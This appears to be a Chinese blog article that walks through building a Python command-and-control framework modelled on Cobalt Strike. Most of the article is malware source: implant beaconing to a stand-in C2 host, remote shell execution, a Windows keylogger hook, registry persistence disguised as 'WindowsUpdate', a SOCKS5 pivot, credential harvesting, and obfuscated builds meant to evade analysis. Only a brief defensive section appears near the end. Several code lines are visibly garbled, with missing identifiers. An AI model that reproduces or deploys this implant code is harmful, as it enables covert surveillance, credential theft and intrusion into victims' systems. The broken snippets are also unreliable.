返回首页

用Python复刻Cobalt Strike:开源C2框架完整实现

复刻Cobalt Strike:开源框架完整实现

前言

在红队渗透测试中,Cobalt Strike(简称CS)是业界公认的黄金标准C2(Command & Control)框架。然而CS价格昂贵且闭源,对于安全研究人员来说,理解其架构原理并用Python从零实现一个类似框架,是深入学习内网渗透、后渗透技术的绝佳方式。

本文将详细介绍一个基于Python的C2框架完整实现,涵盖架构设计、加密通信、功能模块、Web管理面板等核心组件。本文所有代码和技术仅用于授权渗透测试和安全研究。

一、C2架构设计

1.1 整体架构

C2框架采用经典的Client-Server架构:

┌─────────────────┐     AES加密通信       ┌─────────────────┐
│   Web Dashboard  │◄────── REST  ────►│   C2 Server     │
│   (浏览器)        │                      │   (Flask)        │
└─────────────────┘                      └────────┬────────┘
                                                    │
                         ┌──────────────────────────┼──────────────────────────┐
                         │                          │                          │
                   ┌─────▼─────┐             ┌─────▼─────┐             ┌─────▼─────┐
                   │  Agent 1   │             │  Agent 2   │             │  Agent N   │
                   │ ()  │             │  ()   │             │  ()   │
                   └───────────┘             └───────────┘             └───────────┘

三个核心组件:

  • C2 Server(服务端):Flask应用,提供REST API接口,管理所有连接的Agent,下发任务并接收结果
  • Agent(客户端/植入体):部署在目标机器上的轻量级程序,反向连接到C2服务器,执行任务并回传数据
  • Web Panel(管理面板):基于浏览器的图形化界面,提供实时监控、任务管理、结果查看等功能

1.2 通信模式

我们采用**反向连接(Reverse Connect)**模式:

  1. Agent主动连接C2 Server的监听端口
  2. Agent通过心跳(Heartbeat)机制保持连接
  3. Server在心跳响应中携带待执行的任务
  4. Agent执行任务后通过结果提交接口回传数据

这种模式的优势:

  • 穿透NAT和防火墙(Agent主动外连)
  • 不需要目标机器开放端口
  • 与正常HTTPS流量混合,隐蔽性好

1.3 心跳与抖动

Agent的心跳机制是C2框架的核心。为了对抗流量分析检测,我们实现了**抖动(Jitter)**机制:

# 心跳间隔 = 基础间隔 ± 随机抖动
jitter_amount = self.sleep_interval * self.jitter
sleep_time = self.sleep_interval + random.uniform(-jitter_amount, jitter_amount)
time.sleep(max(5, sleep_time))

默认配置为60秒间隔、10%抖动,即实际心跳间隔在54-66秒之间随机波动,使网络流量模式更加自然。

二、加密通信方案

2.1 AES-256-CBC加密

所有C2通信数据都使用AES-256-CBC加密,确保即使通信被截获也无法解密内容:

class CryptoManager:
    def __init__(self, key: str):
        self._key = hashlib.sha256(key.encode()).digest()  # 256-bit key

    def encrypt(self, plaintext: bytes) -> bytes:
        iv = os.urandom(16)  # 随机初始化向量
        padded = self._pad(plaintext)
        # CBC模式加密
        cipher = Cipher(algorithms.AES(self._key), modes.CBC(iv))
        ct = cipher.encryptor().(padded) + cipher.encryptor().finalize()
        # HMAC-SHA256完整性校验
        mac = hmac.(self._key, iv + ct, hashlib.sha256).digest()
        return iv + ct + mac

2.2 数据包结构

每个加密数据包的结构:

┌──────────┬──────────────┬──────────┐
│  IV (16B) │ Ciphertext   │ HMAC(32B)│
└──────────┴──────────────┴──────────┘
  • IV:16字节随机初始化向量,保证相同明文每次加密结果不同
  • Ciphertext:PKCS7填充后的AES-256-CBC密文
  • HMAC:32字节SHA-256消息认证码,防止数据篡改

2.3 纯Python实现

为了保证Agent在没有第三方库的环境中也能运行,我们实现了一个纯Python的AES加密后端:

def _aes_encrypt_block(block: bytes, round_keys) -> bytes:
    s = list(block)
    nr = len(round_keys) - 1
    s = _add_round_key(s, round_keys[0])
    for r in range(1, nr):
        s = _sub_bytes(s)
        s = _shift_rows(s)
        s = _mix_columns(s)
        s = _add_round_key(s, round_keys[r])
    s = _sub_bytes(s)
    s = _shift_rows(s)
    s = _add_round_key(s, round_keys[nr])
    return bytes(s)

cryptography库可用时自动使用高性能实现,否则降级到纯Python实现,确保最大兼容性。

三、Agent功能模块

3.1 远程命令执行

命令执行模块支持跨平台Shell命令:

class ExecCmdModule:
    @staticmethod
    def execute(command: str, timeout: int = 60) -> dict:
        if sys.platform == 'win32':
            cmd = ['cmd.exe', '/c', command]
        else:
            cmd = ['/bin/sh', '-c', command]
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        stdout, stderr = proc.communicate(timeout=timeout)
        return {
            'stdout': stdout.decode('utf-8', errors='replace'),
            'stderr': stderr.decode('utf-8', errors='replace'),
            'returncode': proc.returncode
        }

3.2 文件管理器

文件管理模块提供完整的远程文件操作能力:

  • 目录列表:递归遍历目录,获取文件大小、权限、所有者等信息
  • 文件上传/下载:支持二进制文件的Base64编码传输
  • 文件搜索:基于glob模式的文件搜索
  • 文件哈希:计算文件的SHA256/MD5哈希值
class FileManagerModule:
    @staticmethod
    def read_file(path: str, binary: bool = True) -> dict:
        with open(path, 'rb' if binary else 'r') as f:
             = f.read()
        if binary:
            data = base64.b64encode(data).decode()
        return {'success': True, 'data': data, 'size': len(data)}

3.3 键盘记录器

键盘记录器针对不同操作系统实现了独立的Hook机制:

  • Windows:使用SetWindowsHookExW安装低级键盘钩子(WH_KEYBOARD_LL)
  • macOS:使用Quartz Event Tap监听键盘事件
  • Linux:读取/dev/input/event*设备节点获取键盘输入
def _win32_capture(self):
    user32 = ctypes.windll.user32
    HOOKPROC = ctypes.CFUNCTYPE(ctypes.c_long, ctypes.c_int, wintypes.WPARAM, wintypes.LPARAM)
    def hook_proc(nCode, wParam, lParam):
        if nCode >= 0 and wParam == WM_KEYDOWN:
            vk_code = ctypes.cast(lParam, ...).contents[0]
            key = vk_map.get(vk_code, chr(vk_code))
            self._log_key(key)
        return user32.CallNextHookEx(None, nCode, wParam, lParam)
    hook = user32.SetWindowsHookExW(WH_KEYBOARD_LL, HOOKPROC(hook_proc), ...)

3.4 截屏模块

截屏模块同样实现了多后端支持:

  • Pillow:跨平台首选方案,支持多显示器
  • scrot/import:Linux命令行工具回退
  • screencapture:macOS原生命令
  • Win32 API:使用BitBlt直接抓取屏幕DC

截图数据以JPEG格式压缩后Base64编码传输,默认质量75%以平衡清晰度与传输效率。

3.5 持久化机制

持久化模块实现了多种驻留技术:

Windows:

  • 注册表Run键(HKCU\Software\\Windows\CurrentVersion\Run
  • 计划任务(schtasks
  • 启动文件夹快捷方式

Linux:

  • Crontab定时任务
  • Systemd用户服务
  • .bashrc钩子注入
  • XDG自启动项

macOS:

  • LaunchAgent plist
  • Login Items
class PersistenceModule:
    @staticmethod
    def registry_run(agent_path: str) -> dict:
        import winreg
        reg_key = winreg.OpenKey(
            winreg.HKEY_CURRENT_USER,
            r'Software\Microsoft\Windows\CurrentVersion\Run',
            0, winreg.KEY_SET_VALUE)
        winreg.SetValueEx(reg_key, 'WindowsUpdate', 0, winreg.REG_SZ, agent_path)

3.6 SOCKS5代理隧道

内置SOCKS5代理服务器,可以通过被控主机做网络跳板:

class SOCKS5Proxy:
    def _cmd_connect(self, client_sock, dst_addr, dst_port, atyp):
        remote_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        remote_sock.connect((dst_addr, dst_port))
        # 返回连接成功响应
        reply = struct.pack('!BBBB', 0x05, 0x00, 0x00, 0x01)
        reply += socket.inet_aton(bind_addr[0])
        client_sock.sendall(reply)
        # 双向数据转发
        self._relay(client_sock, remote_sock)

支持CONNECT命令、用户名/密码认证(RFC 1929),适用于内网横向移动场景。

3.7 凭证收集

凭证收集模块可提取以下敏感信息:

  • WiFi密码netsh wlan show profiles(Windows)、wpa_supplicant配置(Linux)
  • 浏览器密码:解密/Firefox/Edge保存的登录凭证
  • 密钥:扫描~/.ssh/目录下的私钥文件
  • 环境变量:搜索包含API密钥、数据库密码等敏感信息的环境变量
  • Shell历史:分析bash/zsh历史文件中的密码泄露

四、Web管理面板

4.1 技术栈

  • 后端:Flask + RESTful API
  • 前端:原生/CSS/JavaScript(零依赖)
  • 认证:Token-based认证
  • 实现:自动10秒刷新的实时监控

4.2 功能特性

Web面板提供以下功能:

  1. 实时仪表盘:在线Agent数、任务统计、事件日志
  2. Agent管理:查看详细信息、操作系统、IP地址、在线状态
  3. 交互终端:类Cobalt Strike的命令行交互界面
  4. 任务管理:创建、查看、管理所有任务和结果
  5. 批量操作:向所有在线Agent广播命令
  6. 数据导出:一键导出所有Agent数据和任务结果

4.3 API设计

@app.route('/api/agents/<agent_id>/interact', methods=['POST'])
def interact_agent(agent_id):
    action_map = {
        'execute_command': ('exec_cmd', {'command': params.get('command')}),
        'take_screenshot': ('screenshot', {}),
        'start_keylogger': ('keylogger_start', {}),
        'install_persistence': ('persistence', {}),
    }
    task = server.create_task(agent_id, task_type, task_params)
    return jsonify({'task': task})

五、Agent编译打包

Builder模块支持三种打包方式:

5.1 Standalone(Python脚本)

生成一个自包含的Python脚本,内嵌所有必要的加密和通信代码,无需任何第三方依赖即可运行。

5.2 PyInstaller

将Agent编译为独立可执行文件:

python3 builder.py \
    --server http://c2.example.com:5000 \
    --key my-secret-key \
    --method pyinstaller \
    --platform windows \
    --onefile \
    --icon app.ico

5.3 Nuitka

使用Nuitka将Python编译为C扩展模块,进一步增加逆向分析难度。

5.4 代码混淆

Builder内置了变量名混淆功能,配置信息(服务器地址、加密密钥)通过随机变量名嵌入,增加静态分析难度:

_xkqmf = "http://c2.example.com:5000"
_bzrpnw = "my-secret-key-2024"

六、使用流程

步骤1:启动C2服务端

python3 server.py --host 0.0.0.0 --port 5000 --key my-secret-key

步骤2:构建Agent

python3 builder.py -s http://YOUR_IP:5000 -k my-secret-key -m standalone

步骤3:部署Agent到目标

python3 agent.py -s http://YOUR_IP:5000 -k my-secret-key --sleep 30

步骤4:通过Web面板管理

打开浏览器访问 http://YOUR_IP:5000,输入认证Token即可开始交互操作。

七、安全防御建议

从防御者角度,了解C2框架的工作原理有助于:

  1. 流量检测:监控异常的心跳间隔流量,即使是加密流量也可以通过包大小和时间间隔特征识别
  2. 进程监控:关注可疑的Python/PowerShell进程启动行为
  3. 持久化检测:定期审计注册表Run键、计划任务、crontab等持久化点
  4. 网络分段:限制内网主机的出站连接,减少Agent回连的可能性
  5. EDR部署:终端检测与响应工具可以捕获键盘Hook、截屏等可疑API调用

总结

本文从零实现了一个功能完整的C2框架,涵盖了Cobalt Strike的核心功能:加密通信、远程命令执行、文件管理、键盘记录、截屏、持久化、代理隧道和凭证收集。虽然在实际红队作业中仍推荐使用成熟的商业工具,但通过这个项目可以深入理解C2框架的工作原理,对攻防双方都具有重要的学习价值。

完整代码已开源,所有代码仅用于授权安全测试,请遵守当地法律法规。

评论